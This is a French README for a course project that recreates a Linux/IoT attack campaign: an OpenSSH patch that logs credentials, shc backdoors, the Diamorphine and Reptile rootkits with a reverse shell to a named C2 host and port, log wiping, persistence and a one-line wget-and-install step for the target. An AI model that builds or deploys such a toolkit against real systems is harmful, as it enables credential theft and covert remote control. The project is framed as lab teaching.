Ce projet développe un scénario pédagogique de cybersécurité offensive basé sur l'analyse d'un rapport de threat intelligence. Il reproduit une campagne d'attaque Linux/IoT utilisant un OpenSSH patché, un backdoor shell compilé (shc), des rootkits (Diamorphine/Reptile), et un bot IRC (ZiggyStarTux).
- Archive maîtresse contenant les sources OpenSSH 8.0p1 légitimes
- Patch malveillant (
ss.patch) pour intercepter les credentials SSH - Script d'installation (
inst.sh) avec détection d'architecture et évasion - Archive shell (
vars.sh) auto-extractible avec payloads embarqués - Binaires backdoor multi-architectures (x86-64, arm4l, arm5l, i686)
- Script orchestrateur (
backdoor-orchestrator.sh) avec logique complète d'attaque - Compilation shc pour créer des binaires ELF multi-architectures
- Support complet : x86_64, i686, arm4l, arm5l
- Intégration automatique dans l'archive principale
- Tests complets et validation des binaires
- Script d'installation principal (
inst.sh) avec orchestration complète - Détection d'architecture et sélection automatique du bon binaire
- Détection de honeypot via
/procet évasion - Exfiltration d'informations système et réseau
- Mécanismes de persistance SSH et cron
- Mesures anti-concurrence et nettoyage des logs
- Intégration complète avec les binaires de la tâche 3
- Téléchargement et extraction de l'archive OpenSSH depuis le serveur de payload
- Application du patch malveillant (
ss.patch) aux sources OpenSSH - Compilation et installation du serveur SSH patché
- Remplacement du service SSH et redémarrage automatique
- Activation de l'accès root via SSH (PermitRootLogin)
- Interception et journalisation des credentials SSH
- Validation complète de la fonctionnalité d'interception
- Diamorphine rootkit pour masquer les processus et fichiers avec le tag
__R_TAG - Reptile rootkit avec reverse shell vers le serveur C2
- Configuration C2 :
rsh.sys-stat.download:4444 - Compilation multi-architecture des modules kernel
- Scripts d'installation automatique pour les rootkits
- Intégration complète dans l'archive principale
- Fonctionnalités d'évasion : masquage des processus, fichiers et connexions réseau
- Modifie
auth-passwd.cpour logger les credentials SSH - Active l'accès root via SSH
- Stocke les informations dans
/tmp/.ssh_creds
- Archive shell auto-extractible
- Contient les payloads secondaires (ZiggyStarTux, lscan, zaz)
- Déploie le bot IRC et configure la persistance
- Nettoie les traces d'exécution
- Script d'installation principal
- Détection d'architecture et sélection du bon binaire
- Détection de honeypot via
/proc - Désactivation de l'historique shell
- Exfiltration d'informations système
- Mise en place de la persistance SSH
- Mesures anti-concurrence
- Nettoyage des logs
projet-1/
├── src/
│ ├── payloads/ # Payloads et artefacts malveillants
│ ├── scripts/ # Scripts d'installation et d'orchestration
│ ├── patches/ # Patches OpenSSH malveillants
│ └── binaries/ # Binaires compilés multi-architectures
├── build/
│ ├── archives/ # Archives finales construites
│ └── compiled/ # Binaires compilés
├── docs/
│ └── technical/ # Documentation technique
├── tests/
│ └── unit/ # Tests unitaires et d'intégration
├── deployment/
│ ├── payload-server/ # Configuration serveur de payload
│ └── c2-server/ # Configuration serveur C2
└── .taskmaster/ # Gestion des tâches avec Taskmaster
# Point d'entrée unique pour l'application
./start.shCe script vous guide à travers toutes les options disponibles et exécute automatiquement tous les workflows nécessaires.
# Construction de l'application complète en une commande
./workflow-complete.shCe workflow unifié exécute automatiquement :
- Task 3: Compilation Multi-Architecture Backdoors
- Task 4: Script d'Installation Principal
- Task 5: Patch OpenSSH & Interception Credentials
- Task 6: Intégration Rootkits (Diamorphine/Reptile)
Si vous voulez construire une tâche spécifique :
# Task 3: Compilation Multi-Architecture
./workflow-task3.sh
# Task 4: Script d'Installation Principal
./workflow-task4.sh
# Task 5: Patch OpenSSH & Interception Credentials
./workflow-task5.sh
# Task 6: Intégration Rootkits
./workflow-task6.sh# Test des rootkits
./tests/test-rootkits-final.sh
# Test du script d'installation
./tests/test-inst-main.sh
# Test de l'archive
./tests/test-archive.sh# Voir tous les rapports générés
ls build/*-report-*.txt
# Voir le rapport final de l'application
cat build/application-complete-report-*.txtUne fois l'application construite :
- Déployer l'archive sur votre serveur de payload
- Sur la machine cible :
wget -qO- http://votre-serveur/openssh-8.0p1.tgz | tar -xz cd openssh-8.0p1 && ./inst.sh
# Rendre le script de build exécutable
chmod +x build-archive.sh
# Construire l'archive openssh-8.0p1.tgz
./build-archive.sh# Rendre le script de test exécutable
chmod +x tests/test-archive.sh
# Tester l'archive construite
./tests/test-archive.sh# Voir les tâches disponibles
task-master list
# Voir la prochaine tâche à travailler
task-master next
# Décomposer une tâche en sous-tâches
task-master expand --id=2 --research --force
# Marquer une tâche comme terminée
task-master set-status --id=2 --status=done# Workflow complet pour la tâche 3
./workflow-task3.sh
# Ou étapes individuelles :
./build-backdoor.sh # Compiler les binaires
./tests/test-backdoor.sh # Tester les binaires
./deploy-backdoor.sh # Déployer dans l'archive# Workflow complet pour la tâche 4
./workflow-task4.sh
# Ou étapes individuelles :
./tests/test-inst-main.sh # Tester le script d'installation
./deploy-inst-main.sh # Déployer dans l'archive# Workflow complet pour la tâche 5
./workflow-task5.sh
# Ou étapes individuelles :
./tests/test-task5-openssh.sh # Tester la fonctionnalité OpenSSH
./deploy-task5-openssh.sh # Déployer dans l'archive# Workflow complet pour la tâche 6
./workflow-task6.sh
# Ou étapes individuelles :
./tests/test-rootkits.sh # Tester les rootkits
./build-rootkits.sh # Compiler les rootkits
./deploy-rootkits.sh # Déployer dans l'archive- Usage exclusivement pédagogique dans un environnement contrôlé
- Ne jamais utiliser sur des systèmes de production
- Respecter les lois locales sur la cybersécurité
- Autorisation écrite requise avant tout test
- Environnement isolé (cyberrange)
- Machines virtuelles dédiées
- Réseaux VLAN séparés
- Snapshots pour restauration rapide
- Monitoring et logging complets
Le projet est basé sur l'analyse d'un rapport de threat intelligence décrivant une campagne d'attaque réelle utilisant :
- OpenSSH patché pour l'interception de credentials
- Backdoor shell compilé avec shc
- Rootkits Diamorphine et Reptile
- Bot IRC ZiggyStarTux pour le C2
- Scripts de mouvement latéral (lscan, zaz)
- VM Cible : Linux avec SSH faible
- VM Serveur de Payload : Nginx/Apache hébergeant les archives
- VM C2 : Docker + serveur IRC
- VM Cible Secondaire : Pour le mouvement latéral
- Orchestrateur : Ansible/Terraform pour le provisionnement
- Vérification de l'intégrité de l'archive
- Test de l'extraction des composants
- Validation de la syntaxe des scripts
- Test des binaires multi-architectures
- Déploiement complet du scénario
- Test de l'interception des credentials
- Validation de la persistance
- Test du mouvement latéral
- Structure du projet
- Tâche 2 : Package Core Attack Archive
- Tâche 3 : Compilation Multi-Architecture
- Tâche 4 : Script d'Installation Principal
- Tâche 5 : Déploiement OpenSSH Patché
- Tâche 6 : Intégration des Rootkits
- Tâche 7 : Nettoyage des Logs
- Tâche 8 : Anti-Concurrence et Persistance SSH
- Tâche 9 : Serveur C2 et Bot IRC
- Tâche 10 : Scripts de Mouvement Latéral
Ce projet est développé dans le cadre d'un cours de cybersécurité offensive. Pour contribuer :
- Respecter les bonnes pratiques de sécurité
- Documenter toutes les modifications
- Tester dans l'environnement contrôlé
- Suivre les guidelines éthiques
Pour toute question ou problème :
- Consulter la documentation technique
- Vérifier les logs de test
- Contacter l'équipe pédagogique